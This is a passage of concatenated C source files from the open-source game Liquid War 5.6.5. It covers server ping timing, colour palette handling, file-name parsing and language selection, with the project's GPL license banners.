/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : grad.h */ /* contenu : etalement des gradients */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_GRAD #define LIQUID_WAR_INCLUDE_GRAD /*==================================================================*/ /* constantes */ /*==================================================================*/ #define AREA_START_GRADIENT 2000000 #define CURSOR_START_GRADIENT 1000000 /*==================================================================*/ /* includes */ /*==================================================================*/ #include /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ BITMAP *create_gradient_bitmap (int team); BITMAP *create_dir_bitmap (int team); void spread_single_gradient (void); #endif liquidwar-5.6.5/src/ping.c0000664000372000037200000002030113407756104015025 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : ping.c */ /* content : utility to calculate an approximate ping time */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "ping.h" #include "thrdgen.h" #include "ticker.h" #include "macro.h" #include "sockgen.h" #include "protocol.h" #include "log.h" #include "sockgen.h" /*==================================================================*/ /* constants */ /*==================================================================*/ /* * Delay in msec used for polling loops */ #define LW_PING_DELAY 10 /* * Maximum delay for a ping test, here it's of 750 msec for the * whole thing, ie connect + ping */ #define LW_PING_TEST_MAX 750 /* * Number of pings we'll use to calibrate */ #define LW_PING_NB_RETRIES 3 /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { int sock; char address[LW_SOCK_IP_SIZE]; int port; int allow_exit; int done; int result; } LW_PING_TRY_DATA; /*==================================================================*/ /* static functions */ /*==================================================================*/ static void try_server_callback (void *arg); /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Tries to connect on a server and get an approximate ping time. * The answer is given in msec. If -1, means that the server could * not be reached. */ int lw_ping_try_server (char *address, int port) { int result = -1; LW_PING_TRY_DATA *try_data; int start_time = 0; try_data = (LW_PING_TRY_DATA *) malloc (sizeof (LW_PING_TRY_DATA)); if (try_data != NULL) { memset (try_data, 0, sizeof (LW_PING_TRY_DATA)); try_data->sock = -1; LW_MACRO_STRCPY (try_data->address, address); try_data->port = port; try_data->allow_exit = 0; try_data->result = -1; if (lw_thread_start (try_server_callback, try_data)) { start_time = get_ticker (); while (try_data->done == 0 && get_ticker () < start_time + LW_PING_TEST_MAX) { rest (LW_PING_DELAY); } result = try_data->result; try_data->allow_exit = 1; } else { /* * The thread could not be launched... */ free (try_data); } } return result; } /*------------------------------------------------------------------*/ /* * Callback used by the thread launched by lw_ping_try_server * to open the TCP/IP connection with the server and evaluate * an approximate ping time. */ static void try_server_callback (void *arg) { int result = 0; LW_PING_TRY_DATA *try_data; int start_time; int global_start_time; int delay[LW_PING_NB_RETRIES]; int i, n, sum; try_data = (LW_PING_TRY_DATA *) arg; for (i = 0; i < LW_PING_NB_RETRIES; ++i) { delay[i] = 0; } result = lw_sock_connect (&(try_data->sock), try_data->address, try_data->port); if (result == 1) { /* * OK we got connected on the server, now we time stuff. */ n = 0; global_start_time = get_ticker (); for (i = 0; result == 1 && i < LW_PING_NB_RETRIES && get_ticker () < global_start_time + LW_PING_TEST_MAX; ++i) { start_time = get_ticker (); result = lw_protocol_do_ping (&try_data->sock); if (result == 1) { delay[i] = get_ticker () - start_time; n = i + 1; } /* * We calculate an average ping from all the values we have */ sum = 0; for (i = 0; i < n; ++i) { sum += delay[i]; } if (n > 0) { try_data->result = sum / n; } } /* * OK we're done the calling thread can abort */ try_data->done = 1; /* * We're polite, we tell the server we quit. */ if (result) { lw_protocol_quit (&try_data->sock); } lw_sock_close (&try_data->sock); } while (!try_data->allow_exit) { /* * We simply wait until the calling * thread has the results it's waiting for. */ rest (LW_PING_DELAY); } free (try_data); } liquidwar-5.6.5/src/keyexch.h0000664000372000037200000001074013407756104015543 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : keyexch.h */ /* content : code to exchange key presses with the server */ /* last update : June 24th 2001 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_KEYEXCH #define LIQUID_WAR_INCLUDE_KEYEXCH /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "cursor.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern int LW_KEYEXCH_SOCK; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_keyexch_flush (CURSOR * cursors, unsigned int checksum); #endif liquidwar-5.6.5/src/palette.c0000664000372000037200000003205313407756104015535 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : palette.c */ /* contenu : gestion de la palette de couleurs */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "config.h" #include "decal.h" #include "disk.h" #include "palette.h" #include "network.h" #include "mouse.h" #include "texture.h" /*==================================================================*/ /* constantes */ /*==================================================================*/ #define BG_TEXTURE_DEFAULT_COLOR 120 #define FG_TEXTURE_DEFAULT_COLOR 127 /*==================================================================*/ /* variables globales */ /*==================================================================*/ int COLORS_PER_TEAM = 0; PALETTE GLOBAL_PALETTE; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* mise en place de la palette, si necessaire */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ static int sqrt255 (int i) { int result; result = fixsqrt (i * 256) / 256; if (result > 255) result = 255; return result; } /*------------------------------------------------------------------*/ static int sqr255 (int i) { int result; result = (i * i) / 256; if (result > 255) result = 255; return result; } /*------------------------------------------------------------------*/ static void change_palette_brightness (PALETTE old_pal, PALETTE new_pal) { int r, g, b; int i; int brightness; RGB *rgb; brightness = CONFIG_BRIGHTNESS - 8; if (brightness != 0) for (i = 0; i < 256; ++i) { rgb = old_pal + i; r = rgb->r * 4; g = rgb->g * 4; b = rgb->b * 4; if (brightness > 0) { r = (brightness * sqrt255 (r) + (8 - brightness) * r) / 8; g = (brightness * sqrt255 (g) + (8 - brightness) * g) / 8; b = (brightness * sqrt255 (b) + (8 - brightness) * b) / 8; } if (brightness < 0) { r = (-brightness * sqr255 (r) + (8 + brightness) * r) / 8; g = (-brightness * sqr255 (g) + (8 + brightness) * g) / 8; b = (-brightness * sqr255 (b) + (8 + brightness) * b) / 8; } rgb = new_pal + i; rgb->r = r / 4; rgb->g = g / 4; rgb->b = b / 4; } else for (i = 0; i < 256; ++i) new_pal[i] = old_pal[i]; } /*------------------------------------------------------------------*/ void my_set_palette (void) { PALETTE old_pal, corrected_pal; int i, equal = 1; change_palette_brightness (GLOBAL_PALETTE, corrected_pal); get_palette (old_pal); for (i = 0; i < 256 && equal; ++i) { equal = equal && (corrected_pal[i].r == old_pal[i].r); equal = equal && (corrected_pal[i].g == old_pal[i].g); equal = equal && (corrected_pal[i].b == old_pal[i].b); } if (!equal) set_palette (corrected_pal); } /*------------------------------------------------------------------*/ static void set_raw_texture_palette (void *ptr, int first) { int i; char *data; data = ptr; data += 4 + LW_TEXTURE_SYSTEM_NAME_SIZE; for (i = first; i < first + 32; ++i) { GLOBAL_PALETTE[i].r = *(data++); GLOBAL_PALETTE[i].g = *(data++); GLOBAL_PALETTE[i].b = *(data++); } } /*------------------------------------------------------------------*/ static void get_mono_texture_color (RGB * rgb, int num) { int h1, s1, v1, r, g, b; float h2, s2, v2; float h[] = { 0, 20, 40, 70, 110, 150, 180, 210, 240, 270, 300, 330 }; float s[] = { 1, 0.7, 0.4, 1, 0.5, 1, 0.5, 1, 0.5, 1 }; float v[] = { 1, 1, 1, 0.8, 0.8, 0.6, 0.6, 0.3, 0.3, 0.1 }; h1 = num / 10; s1 = num % 10; v1 = s1; if (h1 < 12) { h2 = h[h1]; s2 = s[s1]; v2 = v[v1]; } else { h2 = 0; s2 = 0; v2 = 127 - num; v2 /= 7.; } hsv_to_rgb (h2, s2, v2, &r, &g, &b); rgb->r = r / 4; rgb->g = g / 4; rgb->b = b / 4; /* *rgb=CHOOSE_PALETTE [32+num]; */ } /*------------------------------------------------------------------*/ static void set_mono_texture_palette (int num, int first) { get_mono_texture_color (GLOBAL_PALETTE + first, num); } /*------------------------------------------------------------------*/ void set_bg_texture_palette (int num) { if (num < CHOOSE_COLOR_NUMBER) { set_mono_texture_palette (num, BG_TEXTURE_FIRST_COLOR); } else { if (num >= CHOOSE_COLOR_NUMBER && num < CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER) { if (LOADED_TEXTURE) { set_raw_texture_palette (RAW_TEXTURE [num - CHOOSE_COLOR_NUMBER], BG_TEXTURE_FIRST_COLOR); } else { set_mono_texture_palette (BG_TEXTURE_DEFAULT_COLOR, BG_TEXTURE_FIRST_COLOR); } } if (num >= CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER && num < CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER + RAW_MAPTEX_NUMBER) { if (LOADED_MAPTEX) { set_raw_texture_palette (RAW_MAPTEX [num - (CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER)], BG_TEXTURE_FIRST_COLOR); } else { set_mono_texture_palette (BG_TEXTURE_DEFAULT_COLOR, BG_TEXTURE_FIRST_COLOR); } } } } /*------------------------------------------------------------------*/ void set_fg_texture_palette (int num) { if (num < CHOOSE_COLOR_NUMBER) { set_mono_texture_palette (num, FG_TEXTURE_FIRST_COLOR); } else { if (num >= CHOOSE_COLOR_NUMBER && num < CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER) { if (LOADED_TEXTURE) { set_raw_texture_palette (RAW_TEXTURE [num - CHOOSE_COLOR_NUMBER], FG_TEXTURE_FIRST_COLOR); } else { set_mono_texture_palette (FG_TEXTURE_DEFAULT_COLOR, FG_TEXTURE_FIRST_COLOR); } } if (num >= CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER && num < CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER + RAW_MAPTEX_NUMBER) { if (LOADED_MAPTEX) { set_raw_texture_palette (RAW_MAPTEX [num - (CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER)], FG_TEXTURE_FIRST_COLOR); } else { set_mono_texture_palette (FG_TEXTURE_DEFAULT_COLOR, FG_TEXTURE_FIRST_COLOR); } } } } /*------------------------------------------------------------------*/ void set_palette_for_choose_color (void) { int i; for (i = 0; i < 128; ++i) get_mono_texture_color (GLOBAL_PALETTE + 128 + i, i); } /*------------------------------------------------------------------*/ static void set_team_color (int teinte, int first, int num) { int i, col, col_r, col_g, col_b, coeff, tot, last; last = first + num - 1; get_mono_texture_color (GLOBAL_PALETTE + last, teinte * 10); col_r = GLOBAL_PALETTE[last].r; col_g = GLOBAL_PALETTE[last].g; col_b = GLOBAL_PALETTE[last].b; tot = 8 * num - 7; for (i = 0; i < num - 1; ++i) { coeff = num + 7 * i; col = (col_r * coeff) / tot; GLOBAL_PALETTE[first + i].r = col; col = (col_g * coeff) / tot; GLOBAL_PALETTE[first + i].g = col; col = (col_b * coeff) / tot; GLOBAL_PALETTE[first + i].b = col; } } /*------------------------------------------------------------------*/ void set_playing_teams_palette (void) { int i, j, n, color, active; COLORS_PER_TEAM = 128 / PLAYING_TEAMS; for (i = 0, n = 0; i < NB_TEAMS; ++i) { color = 0; active = 0; if (LW_NETWORK_ON) { for (j = 0; j < NB_TEAMS; ++j) { if (LW_NETWORK_INFO[j].active && LW_NETWORK_INFO[j].server_id == i) { active = 1; color = LW_NETWORK_INFO[j].color; } } } else { if (CONFIG_CONTROL_TYPE[i] != CONFIG_CONTROL_TYPE_OFF) { active = 1; color = CONFIG_TEAM_COLOR[i]; } } if (active) { COLOR_FIRST_ENTRY[n] = 128 + n * COLORS_PER_TEAM; set_team_color (color, COLOR_FIRST_ENTRY[n], COLORS_PER_TEAM); n++; } } } /*------------------------------------------------------------------*/ void my_fade_out (void) { fade_out (48); } /*------------------------------------------------------------------*/ void my_fade_in (void) { PALETTE pal; change_palette_brightness (GLOBAL_PALETTE, pal); fade_in (pal, 48); lw_mouse_update_show_hide (); } liquidwar-5.6.5/src/path.c0000664000372000037200000001234613407756104015036 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : path.c */ /* content : path and filenames manipulation */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "path.h" #include "startup.h" #include "macro.h" #include "log.h" /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Fonction used to extract the "system name" for maps and textures. * System name is basically the filename without its path and * extension. */ char * lw_path_get_system_name (const char *filename) { char buf1[LW_STARTUP_MAX_PATH_LENGTH]; static char buf2[LW_STARTUP_MAX_PATH_LENGTH]; char *start; //char *end; char *search; LW_MACRO_STRCPY (buf1, filename); if ((search = strrchr (buf1, '/')) != NULL || (search = strrchr (buf1, '\\')) != NULL) { start = search + 1; } else { start = buf1; } LW_MACRO_STRCPY (buf2, start); search = strchr (buf2, '.'); /* if (search != NULL) { end = search; } else { end = buf2 + strlen (buf2); } */ if (search == NULL) { search = buf2 + strlen (buf2); } memset (search, 0, sizeof (buf2) - (search - buf2)); return buf2; } liquidwar-5.6.5/src/lang.c0000664000372000037200000002213713407756104015022 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : lang.c */ /* content : handles language dependent stuff (locale) */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #ifdef WIN32 #include #endif #include #include #include "lang.h" #include "langde.h" #include "langdk.h" #include "langen.h" #include "langfr.h" #include "langpl.h" #include "config.h" /*==================================================================*/ /* globals */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* initializes the string tables */ /*------------------------------------------------------------------*/ void lw_lang_init () { lw_langde_init (); lw_langdk_init (); lw_langen_init (); lw_langfr_init (); lw_langpl_init (); } /*------------------------------------------------------------------*/ /* returns the string associated to an id */ /*------------------------------------------------------------------*/ char * lw_lang_string (int id) { char *result = NULL; int language; language = (CONFIG_LANGUAGE == LW_LANG_LANGUAGE_AUTO) ? lw_lang_auto () : CONFIG_LANGUAGE; switch (language) { case LW_LANG_LANGUAGE_DEUTSCH: result = lw_langde_string (id); break; case LW_LANG_LANGUAGE_DANSK: result = lw_langdk_string (id); break; case LW_LANG_LANGUAGE_ENGLISH: result = lw_langen_string (id); break; case LW_LANG_LANGUAGE_FRANCAIS: result = lw_langfr_string (id); break; case LW_LANG_LANGUAGE_POLSKI: result = lw_langpl_string (id); break; } if (!result) { result = "???"; } return result; } /*------------------------------------------------------------------*/ /* returns the string associated to a given language */ /*------------------------------------------------------------------*/ char * lw_lang_language (int lang) { char *result = NULL; switch (lang) { case LW_LANG_LANGUAGE_DEUTSCH: result = lw_langde_string (LW_LANG_STRING_LANGUAGE); break; case LW_LANG_LANGUAGE_DANSK: result = lw_langdk_string (LW_LANG_STRING_LANGUAGE); break; case LW_LANG_LANGUAGE_ENGLISH: result = lw_langen_string (LW_LANG_STRING_LANGUAGE); break; case LW_LANG_LANGUAGE_FRANCAIS: result = lw_langfr_string (LW_LANG_STRING_LANGUAGE); break; case LW_LANG_LANGUAGE_POLSKI: result = lw_langpl_string (LW_LANG_STRING_LANGUAGE); break; } if (!result) { result = "???"; } return result; } /*------------------------------------------------------------------*/ /* returns the "automatic" language code */ /*------------------------------------------------------------------*/ int lw_lang_auto () { int language; /* * By default, we speak English */ language = LW_LANG_LANGUAGE_ENGLISH; #ifdef UNIX { char *env_lang; env_lang = getenv ("LANG"); if (env_lang != NULL) { /* * We try and check if LANG is set to "DE..." to enable German * support. */ if (strncmp (env_lang, "DE", 2) == 0 || strncmp (env_lang, "de", 2) == 0) { language = LW_LANG_LANGUAGE_DEUTSCH; } /* * We try and check if LANG is set to "DK..." to enable Danish * support. */ if (strncmp (env_lang, "DK", 2) == 0 || strncmp (env_lang, "dk", 2) == 0) { language = LW_LANG_LANGUAGE_DANSK; } /* * We try and check if LANG is set to "FR..." to enable French * support. */ if (strncmp (env_lang, "FR", 2) == 0 || strncmp (env_lang, "fr", 2) == 0) { language = LW_LANG_LANGUAGE_FRANCAIS; } /* * We try and check if LANG is set to "PL..." to enable Polish * support. */ if (strncmp (env_lang, "PL", 2) == 0 || strncmp (env_lang, "pl", 2) == 0) { language = LW_LANG_LANGUAGE_POLSKI; } } } #endif #ifdef WIN32 { int lang_id; lang_id = GetSystemDefaultLangID (); /* * Lists of some Windows language codes, got it online: * http://msdn.microsoft.com/library/default.asp?url=/library/en-us/intl/nls_238z.asp * * 0x0006 Danish * 0x0406 Danish (Denmark) * * 0x000c French * 0x040c French (Standard) * 0x080c French (Belgian) * 0x0c0c French (Canadian) * 0x100c French (Switzerland) * 0x140c French (Luxembourg) * 0x180c Windows 98/Me, Windows 2000/XP: French (Monaco) * * 0x0007 German * 0x0407 German (Standard) * 0x0807 German (Switzerland) * 0x0c07 German (Austria) * 0x1007 German (Luxembourg) * 0x1407 German (Liechtenstein) * * 0x0015 Polish * 0x0415 Polisg (Poland) */ switch (lang_id) { case 0x0007: case 0x0407: case 0x0807: case 0x0c07: case 0x1007: case 0x1407: language = LW_LANG_LANGUAGE_DEUTSCH; break; case 0x0006: case 0x0406: language = LW_LANG_LANGUAGE_DANSK; break; case 0x000c: case 0x040c: case 0x080c: case 0x0c0c: case 0x100c: case 0x140c: case 0x180c: language = LW_LANG_LANGUAGE_FRANCAIS; break; case 0x0015: case 0x0415: language = LW_LANG_LANGUAGE_POLSKI; break; } } #endif return language; } liquidwar-5.6.5/src/palette.h0000664000372000037200000001134013407756104015536 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : palette.h */ /* contenu : gestion des palettes de couleur */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_PALETTE #define LIQUID_WAR_INCLUDE_PALETTE /*==================================================================*/ /* includes */ /*==================================================================*/ #include /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define CHOOSE_COLOR_NUMBER 128 #define CHOOSE_COLOR_WHITE 120 #define CHOOSE_COLOR_BLACK 127 #define TEAM_FIRST_COLOR 128 #define FG_TEXTURE_FIRST_COLOR 64 #define BG_TEXTURE_FIRST_COLOR 96 #define TEXTURE_COLOR_NUMBER 32 #define MENU_BG 16 #define MENU_FG 17 extern PALETTE GLOBAL_PALETTE; extern int COLORS_PER_TEAM; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void my_set_palette (void); void set_bg_texture_palette (int num); void set_fg_texture_palette (int num); void set_palette_for_choose_color (void); void set_playing_teams_palette (void); void my_fade_out (void); void my_fade_in (void); #endif liquidwar-5.6.5/src/pion.h0000664000372000037200000001003013407756104015040 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : pion.h */ /* contenu : affichage des curseurs */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_PION #define LIQUID_WAR_INCLUDE_PION /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void init_disp_cursor (void); void disp_all_cursors (void); void undisp_all_cursors (void); #endif liquidwar-5.6.5/src/netconf.h0000664000372000037200000001120413407756104015533 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ 